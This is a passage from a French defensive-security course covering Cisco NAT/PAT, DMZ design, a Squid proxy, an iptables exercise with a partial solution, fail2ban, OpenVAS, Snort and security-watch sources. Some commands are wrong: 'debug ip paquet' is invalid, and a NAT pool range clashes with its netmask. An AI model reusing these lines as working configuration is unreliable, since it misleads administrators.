Translation d'adresses

Types de translation d'adresse


 statique : faire correspondre une adresse publique à une adresse privée
 dynamique : créé dynamiquement les translations dans un pool d'adresses
publiques
 PAT : translation basée sur les ports TCP/UDP

c) Mise en pratique
Réseau privé / publique
Première étape de tout type de nating : le NAT ne prenant effet que quand un
paquet est routé de "l'intérieur" vers "l'extérieur", ou inversement, il est donc
nécessaire de définir cet "intérieur" et cet "extérieur", par interface :

1 (config-if)# ip nat {inside|outside}

NAT statique
Pour faire correspondre une adresse publique à une adresse privée :

1 (config)# ip nat inside source static 192.168.1.10 201.55.4.8

NAT Dynamique
Les adresses publiques sont automatiquement choisies dans un pool d'adresse.
 création du pool d'adresses :

1 (config)# ip nat pool POOL-NAT-LAN1 201.55.4.1 201.49.10.10 netmask


255.255.255.240

 création de l'ACL :

1 (config)# access-list 1 deny 192.168.1.10


2 (config)# access-list 1 permit 192.168.1.0 0.0.0.255

Noël Macé (noelmace.com)


80
Sécurité défensive

 activation du NAT :

1 (config)# ip nat inside source list 1 pool POOL-NAT-LAN1

NAT dynamique PAT


Effectue la translation du port source, afin d'identifier le client (nécessaire si le
nombre d'adresses publique est plus faible que celui d'adresses privées). Il suffit
pour cela d'ajouter simplement "overload" à la configuration précédente :

1 (config)# ip nat inside source list 1 pool POOL-NAT-LAN1 overload

NAT dynamique PAT pour adresse publique unique


Configuration la plus courante sur les réseaux de petite dimension (une seule
adresse IP fixe sur Internet par exemple). Définir un pool d'adresse n'est donc plus
adapté, et il suffira alors de se baser sur l'adresse de l'interface "outside".

1 (config)#ip nat inside source list 1 interface serial 0/0 overload

Commandes d'information
Pour afficher la table de translations (ie les translations effectuées en accord avec
les règles établies) :

1 # show ip nat translations

Vérifier l'adresse des paquets reçu sur un routeur

1 # debug ip paquet

Noël Macé (noelmace.com)


81
Sécurité défensive

2. Zone démilitarisée
Principe
Afin de garantir la sécurité de notre réseaux, il est nécessaire d'isoler tout nos
serveurs directement accessibles par Internet (et donc comprometables) des autres
machines du réseaux, pouvant contenir des données sensible. Cette architecture
est généralement désignée sous le terme DMZ (de l'anglais demilitarized zone), ou
Zone démilitarisée en français, et se compose comme le schéma suivant :

DMZ Diagramme

Mise en oeuvre
Pour mettre en place une telle architecture, il est nécessaire d'utiliser un firewall,
qui bloquera les accès depuis internet au réseau local, le plus souvent couplé à un
NAT afin de garantir une encore meilleure sécurité.

3. Proxy

a) Présentation

Définition : Proxy
« Serveur informatique qui a pour fonction de relayer des requêtes entre un poste
client et un serveur, utilisé pour assurer les fonctions de mémoire cache, de
journalisation des requêtes (« logging »), assurer la sécurité du réseau local, le
filtrage et l'anonymat. » - Wikitionnaire76

76 - https://fr.wiktionary.org/wiki/proxy

Noël Macé (noelmace.com)


82
Sécurité défensive

Concept

Concept du proxy réseau

Avantages et fonctionnalités
 performances : mémoire cache, compression
 sécurité : anonymisation et surveillance (journalisation)
 filtrage : des publicités, contenus lourds (performance) et des contenus
indésirables

b) Mise en œuvre avec Squid


Présentation
Proxy libre de référence :
 Licence GNU GPL
 créé en Juillet 1996
 Notamment utilisé par Wikimedia Fondation et Flickr
 version actuelle (au 13 Juillet 2013) : 3.3.8
Support des protocoles HTTP, HTTPS, FTP et Gopher
Nombreuses fonctionnalités :
 mémoire cache
 contrôle étendu des accès
 cache DNS
 mandataire inverse

Noël Macé (noelmace.com)


83
Sécurité défensive

Logo de Squid

Installation
Le wiki officiel de Squid propose déjà une page77 décrivant de manière détaillée son
installation, et ce pour toutes les distributions GNU/Linux, qu'il est donc inutile de
reproduire ici.

Configuration pour les débutants


Pour les débutants en GNU/Linux, je recommanderais, pour commencer (si vous
manquez de temps et que seule la mise en place d'un proxy vous importe), de
passer par Webmin pour la configuration. Pour une documentation détaillée de
module Squid de Webmin, vous pouvez vous reporter à la documentation officielle78
(en anglais), ou à cet article (en français). Avant cela, consultez bien entendu la
documentation de l'installation de Webmin pour Debian79 ou toute autre
distribution.80

Configuration avancée
Pour les administrateurs plus expérimentés, vous pouvez consulter le pas à pas
complet81 présenté sur le site de l'auteur.

77 - http://wiki.squid-cache.org/SquidFaq/BinaryPackages
78 - http://doxfer.webmin.com/Webmin/SquidProxyServer
79 - http://www.webmin.com/deb.html
80 - http://www.webmin.com/download.html
81 - http://noelmace.com/articles/linuxpasserelle.html

Noël Macé (noelmace.com)


84
Sécurité défensive

4. Firewalling

a) Introduction au firewalling
Principe

Firewalling
Un firewall (ou Pare-feu en français) est un logiciel (ou, par extension, une machine
faisant fonctionner ce logiciel) filtrant le trafic réseau. Pour filtrer le trafic réseau, le
pare-feu se base sur des ACL (access control list), c'est à dire des règles, établies
par d'autres logiciels ou un administrateur.

Firewalling sous GNU/Linux avec iptables


cf. LPIC2 - 12.1 - Pare-feu et Nating (cf. ) (pour consulter ce document, vous aurez
besoin de LibreOffice82 Impress)

b) Firewalling GNU/Linux avec iptables


Après avoir installé un serveur http et un serveur ftp et ssh sur votre serveur
Debian, vous devez sécuriser l'accès à celui-ci via un parefeu, afin de ne permettre
l'accès qu'à ces services.
Vous devrez :
 autoriser les connexion SSH au serveur, mais interdire celles depuis le
serveur
- ie. autoriser les connexion avec votre sshd mais pas l'usage de openssh-
client sur cette machine
 autoriser l'échange d'information avec votre serveur http et ftp
 interdire tout usage de l'udp vers votre serveur
 autoriser les services essentiels du système (DNS, loopback, NTP, etc ...)
 interdire tout segment TCP invalide

82 - https://fr.libreoffice.org/download/libreoffice-stable/

Noël Macé (noelmace.com)


85
Sécurité défensive

Question
[Solution n°1 p 91]
Vous devez mettre donc en place les règles suivantes de firewalling :
 en entrée : supprimer les paquets par défaut
- accepter les paquets à destination de l'http, de l'https et du ftp
- accepter les icmp echo et les logger
- interdire les paquets relatifs à une connexion tcp invalide
- interdire l'udp
- autoriser les services essentiels au système
 DNS
 toute communication sur l'interface de loopback
 NTP
 etc ...
- n'autoriser, pour le ssh, que les requettes de connection tcp et les
renouvellements de ces connexions
 en sortie : accepter les paquets par défaut
- interdire les icmp autres que echo et echo-reply et les logger
- interdire tous les segments TCP relatifs au ssh autres que pour une
connexion déjà établie

5. Conception d'une architecture réseaux pour la


sécurité
Afin de mettre en pratique les connaissances acquises en matière de sécurité
réseau, nous allons ici réaliser une étude de cas, sommaire et rapide, pour la
conception d'une architecture réseau orientée sécurité. Ici, il ne vous est demandé
que de réaliser une présentation de la topologie réseau retenue, et des différents
éléments et solutions la composant. Inutile donc de se pencher sur les solutions
plus techniques (ex : détails de la protection d'un réseau sans-fil, configuration
précise des services, IPsec, etc ...). Pour présenter cette topologie, il vous est
recommandé d'utiliser le logiciel Dia83.

Question
Le cas est le suivant :
 un seul et unique site, à Paris
 3 serveurs :
- srv1 : base de donnée mysql nécessaire aux sites hébergés par srv2
- srv2 : serveur http et https apache pour des sites accessibles depuis
Internet et un réservé aux employés
- srv3 : serveur mail pour les employés de l'entreprise
- srv4 : un serveur de fichier SMB pour les employés de l'entreprise
 postes :
- 3 services : administration/direction, commercial, technique
- un accès sans-fil doit être disponible pour les employés des services
commerciaux et techniques
- un accès à internet doit être offert aux visiteurs (clients, partenaires,
etc ...) sans contrôle administratif préalable
- un accès aux services et ressources internes (mail, fichiers, etc ...) doit
être également offert aux employés en déplacement

83 - https://wiki.gnome.org/Apps/Dia

Noël Macé (noelmace.com)


86
Sécurité défensive

B. Supervision : anticiper, détecter et résoudre les


incidents

1. Veille technologique
a) Pourquoi ?
La sécurité n'est pas une affaire de feignant !
De par son principe même, tout y change en permanence (vulnérabilité → annonce
→ résolution), le tout dans un délais très court. Il est donc très important de se
tenir en permanence à jour (audit, suivit de l'actualité, etc ...).

Une affaire de chaque instant !


Comme nous l'avons déjà vu, la sécurité est bien une affaire de chaque instant, du
fait de la criticité des risques. Il est donc extrèmement nécessaire de ce tenir en
permanence au courant des dernières avancées en la matière (vulnérabilités, outils,
etc ...) afin de les prendre en compte, et d'adapter notre politique (et donc les
contres mesures) en conséquent, afin de résoudre un maximum de failles ou de
réagir en un temps minimal.

b) Quelques ressources incontournables


Un volume gigantesque de vulnérabilités sont découvertes chaque jour ! De
nombreuses solutions permettent de les surveiller : mailing lists, sites spécialisés,
magazines, etc ... Seule la connaissance d'une vulnérabilité permet de s'en
protéger ! Faire entièrement confiance aux mises à jour et à vos protections
généralistes ne peu suffire dans un environnement critique.

Bugtraq
Mailing-list ouverte à tous, crée le 5 Novembre 1993 (modéré depuis le 5 Juin
1995), fondée sur le principe de Full Disclosure (divulgation publique totale de toute
vulnérabilité, opposé à la sécurité par l'obscurité), Bugtraq traite de quasiment
toutes (dans les 150/jours) les dernières vulnérabilités : annonce, description,
méthodes d'exploitation, solutions, etc ...
site officiel : https://www.securityfocus.com84 - FAQ85
pour souscrire, envoyer un mail à bugtraq-subscribe@securityfocus.com86

CERT
Les CERT (pour Computer Emergency Response Team) sont des organismes
officiels, centres d'alerte et de réaction aux attaques informatiques destinés à la
prévention des risques et assistance aux traitements d'incidents. Généralement
ouverts à tous, chacun est constitué pour un contexte particulier, et peu donc
informer au mieux sur les mesures de sécurités rencontrées dans ce contexte (mais
demeurant bien entendu pertinentes dans d'autres).
Quelques exemple :
 US-CERT87 (United States Department of Homeland Security)
 CERT-RENATER88 (France - Réseau National de télécommunications pour la
84 - https://www.securityfocus.com
85 - http://www.securityfocus.com/archive/1/description
86 - mailto:bugtraq-subscribe@securityfocus.com
87 - http://www.us-cert.gov/
88 - http://www.renater.fr/

Noël Macé (noelmace.com)


87
Sécurité défensive

Technologie, l'Enseignement et la Recherche)

CERT/CC
Le CERT Coordination Center (ou CERT/CC) fut le tout premier CERT créé.
Aujourd'hui, il constitue le centre principal de coordination des CERT. Fondé par le
DARPA en novembre 1988 suite à la frappe du "premier" ver, Moris (ou Rogue).
site officiel : https://www.cert.org/89 - mailing lists et flux d'actualité90

CIAC
Le CIAC91 (pour Computer Incident Advisory Capability) fut fondé par le
département de l'énergie des États-Unis d'Amérique en Février 1989. Membre
fondateur du GFIRST (Government Forum of Incident Responders and Security
Teams), une communautés de plus de 50 équipes de divers agences fédérales des
USA hébergée par le US-CERT et du FIRST (Forum of Incident Response and
Security Teams), elle fut anciennement chargée d'informer largement sur les
incidents informatiques (vulnérabilités, virus et hoarx pour l'essentiel). Renommée
DOE-CIRC / JC3 (Joint Cybersecurity Coordination Center) en Octobre 2008, cette
organisation travail aujourd'hui essentiellement avec l'US-CERT, mais demeure
extrêmement pertinente pour la veille, via ses communiqués.

Sécurité GNU/Linux
Deux ressources primordiales pour se tenir au courant de la sécurité sous
GNU/Linux :
 informations de sécurité Debian92 (mailing list : debian-security-annonce93)
 ressources Red Hat
- notifications : https://access.redhat.com/security/updates/advisory/ 94
- mises à jour : https://access.redhat.com/security/updates/95
- et enfin, nous recommandons vivement avant toute veille de consulter le
guide de sécurité Red Hat96

MISC : « le magazine consacré 100% à la sécurité informatique »


Mensuel français de Unix Garden, des Editions DIAMOND (également éditeur de
l'excellent Gnu/Linux Magazine France97), MISC98 est la revue de référence pour
tous les passionnés de sécurité. Vous y retrouverez actualités, perspectives
techniques, questions juridiques, etc ...

2. Détection d'intrusions et de vulnérabilités

Lorsque nous rédigeons une politique de sécurité pour nos systèmes d'information,
il est courant de ne se concentrer que sur les contres mesures à appliquer
directement en lien avec les vulnérabilités préalablement déterminées. Il est
cependant primordial, pour son efficacité, de ne pas aumettre qu'aucune politique

89 - https://www.cert.org/
90 - https://www.us-cert.gov/mailing-lists-and-feeds
91 - http://energy.gov/cio/office-chief-information-officer/services/incident-management
92 - http://www.debian.org/security/
93 - http://lists.debian.org/debian-security-announce/
94 - https://access.redhat.com/security/updates/advisory/
95 - https://access.redhat.com/security/updates/
96 - https://access.redhat.com/site/documentation/en-
US/Red_Hat_Enterprise_Linux/6/html/Security_Guide/index.html
97 - http://www.unixgarden.com/index.php/category/gnu-linux-magazine
98 - http://www.unixgarden.com/index.php/category/misc

Noël Macé (noelmace.com)


88
Sécurité défensive

de sécurité ne peu être infaillible, et qu'il est de notre devoir de conserver une
vigilence de chaque instant afin de pouvoir répondre à toute attaque dans les plus
brefs délais. De nombreuses solutions techniques peuvent nous aider dans cette
tâche. Voyons en donc ici quelques exemple.

a) Protection active
fail2ban

Fail2ban est une solution de


protection active pour les systèmes
Unix, déstinée à prémunir nos
systèmes de toute attaque DoS ou
par bruteforce. Pour ce faire, il
parcours les journaux systèmes à la
recherche d'activités indiquant ce
type d'attaque et banni
automatiquement l'adresse IP source Image 1 Logo fail2ban
de celles-ci en établissant une règle
iptables, de manière temporaire. Cependant, fail2ban, malgrès les efforts actuels,
ne permet pas encore à ce jour de seprémunir les attaques DDOS, et ne présente
encore aucun véritable support de l'ipv6 (hormis un patch expérimental)

Exemple : Configuration de fail2ban


fichier /etc/fail2ban/jail.conf (un bloc par service à surveiller)

1 # bloc du service ssh


2 [ssh]
3 # activer le service
4 enabled = true
5 # ports à surveiller
6 port = ssh,sftp
7 # filtre de détection pour les logs
8 filter = sshd
9 # fichier de log à surveiller
10 logpath = /var/log/auth.log
11 # nombre maximum d'essais autorisés avant bannissement
12 maxretry = 6
13 # bannir durant 15 minutes
14 bantime = 900

Noël Macé (noelmace.com)


89
Sécurité défensive

b) Scanners de vulnérabilité
OpenVAS

OpenVAS (pour Open Vulnerability


Assessment System) est un scanner
de vulnérabilité constitué à partir d'un
fork libre (GPL) de Nessus
(propriétaire). Image 2 OpenVAS logo
Analysant un équipement, un ensemble d'équipements, voir même un réseau
entier, afin d'y détecter les vulnérabilités éventuelles, OpenVAS affiche une
synthèse indiquant une liste des vulnérabilités détectées, par niveau de criticité,
une description de celles-ci, ainsi qu'un méthode (ou un lien) permettant d'y
remédier
Pour plus de détails, voir notamment ce document99.

c) Détection d'intrusion
Snort

Snort est le système de détection


d'intrusion pour le réseau (NIDS) de
référence. Libre (GPL), il est
aujourd'hui maintenu par Sourcefire,
qui propose par ailleurs un
programme de certifications
Image 3 Snort logo professionnelles100 dédié. Sa
configuration de fait à l'aide de règles (à la manière de iptables), et nombreuses
sont celles partagées librement par les utilisateur sur le net (cf Emerging
Threats101). Avant d'utiliser directement ces règles, il est bien entendu vivement
recommandé de consulter la documentation officielle102 afin d'en connaître tout le
fonctionnement.
Par ailleurs, Snort peut être amélioré par / associé à :
 un IPS (système de prévention d'intrusion) comme Snort Inline, Guardian,
SnortSam, etc...
 un logiciel de monitoring comme acidbase, Prelude-IDS, etc ...

99 - http://www.openvas.org/protocol-doc.html
100 - http://www.sourcefire.com/fr/services/certification
101 - http://www.emergingthreats.net/index.php/rules-mainmenu-38.html
102 - http://www.snort.org/docs

Noël Macé (noelmace.com)


90
Solution des
exercices

> Solution n°1 (exercice p. 86)


Vider totalement la table FILTER :

1 root@demo:/home/debian# iptables -F

Mettre en place les règles par défaut (policy) :

1 root@demo:/home/debian# iptables -P INPUT DROP


2 root@demo:/home/debian# iptables -P OUTPUT ACCEPT

Accepter les paquets à destination de l'http, de l'https et du ftp

1 root@demo:/home/debian# iptables -A INPUT -m multiport -p tcp --dport


80,20:21,443 -j ACCEPT

Accepter les icmp echo et les logger :

1 root@demo:/home/debian# iptables -A INPUT -p icmp --icmp-type echo-


request -j ACCEPT
2 root@demo:/home/debian# iptables -A INPUT -p icmp --icmp-type echo-
request -j LOG

Interdire les segments TCP invalides :

1 root@demo:/home/debian# iptables -A INPUT -m state --state INVALID -j


DROP

Noël Macé (noelmace.com)


91
Crédit des
ressources

Exemple de phishing p. 35
http://creativecommons.org/licenses/publicdomain/2.0/fr/, Andrew Levine,
https://commons.wikimedia.org/wiki/File:PhishingTrustedBank.pngwikimedia

Architecture d'une attaque DDoS p. 48


http://creativecommons.org/licenses/gnu-fdl/2.0/fr/,
https://commons.wikimedia.org/wiki/File:Stachledraht_DDos_Attack.svgwikimedia

Women's Army Corps anti-rumor propaganda (1941–1945) p. 56


http://creativecommons.org/licenses/publicdomain/2.0/fr/, https://en.wikipedia.org/wiki/File:
%22WAAC_-_SILENCE_MEANS_SECURITY%22_-_NARA_-_515987.tifWikimedia

Machine de Lorenz, utilisée par les Allemands durant la Seconde Guerre mondiale
pour chiffrer les communications militaires de haut niveau entre le quartier-
général du Führer et les quartiers-généraux des groupes d'armées p. 59
http://creativecommons.org/licenses/publicdomain/2.0/fr/,
https://commons.wikimedia.org/wiki/File:Lorenz-SZ42-2.jpgWikimedia

Chiffrement par clé symétrique p. 60


http://creativecommons.org/licenses/by-nc-sa/2.0/fr/, noelmace.com

Paquet IPSec AH en mode transport p. 67


http://tools.ietf.org/html/rfc4302.htmlIETF

Paquet IPsec AH en mode tunnel p. 67


http://tools.ietf.org/html/rfc4302.htmlIETF

Paquet IPsec ESP en mode tunnel p. 68


http://www.frameip.com/rfc/rfc2406.phpIETF

Tor Onion Network p. 76


http://creativecommons.org/licenses/by/2.0/fr/, http://en.wikipedia.org/wiki/File:Tor-onion-
network.pngWikimedia / EFF

Plages adresses IP privées p. 79


http://creativecommons.org/licenses/by-sa/2.0/fr/, http://fr.wikipedia.org/wiki/R%C3%A9seau_priv
%C3%A9#Utilisation_des_adresses_priv.C3.A9eswikipedia

DMZ Diagramme p. 82
http://creativecommons.org/licenses/publicdomain/2.0/fr/,
http://commons.wikimedia.org/wiki/File:Demilitarized_Zone_Diagram.pngwikimedia

Concept du proxy réseau p. 83

Noël Macé (noelmace.com)


93
Crédit des ressources

http://creativecommons.org/licenses/publicdomain/2.0/fr/,
https://commons.wikimedia.org/wiki/File:Proxy_concept_fr.svgWikimedia

Logo de Squid p. 84
Marque déposée http://www.squid-cache.org/Squid mis à disposition en vertu de l'article
http://www.legifrance.gouv.fr/affichCodeArticle.do;jsessionid=BE5CC4D47D73FC59871198E99A0BA8B7.
tpdjo04v_1?
idArticle=LEGIARTI000006279714&cidTexte=LEGITEXT000006069414&dateTexte=20130906L713-6
alinéa b du Code de la propriété intellectuelle Français et des règles de
https://fr.wikipedia.org/wiki/Fair_usefair use.

Firewalling p. 85
http://creativecommons.org/licenses/by-sa/2.0/fr/,
https://commons.wikimedia.org/wiki/File:Firewall.pngWikimedia

Noël Macé (noelmace.com)


94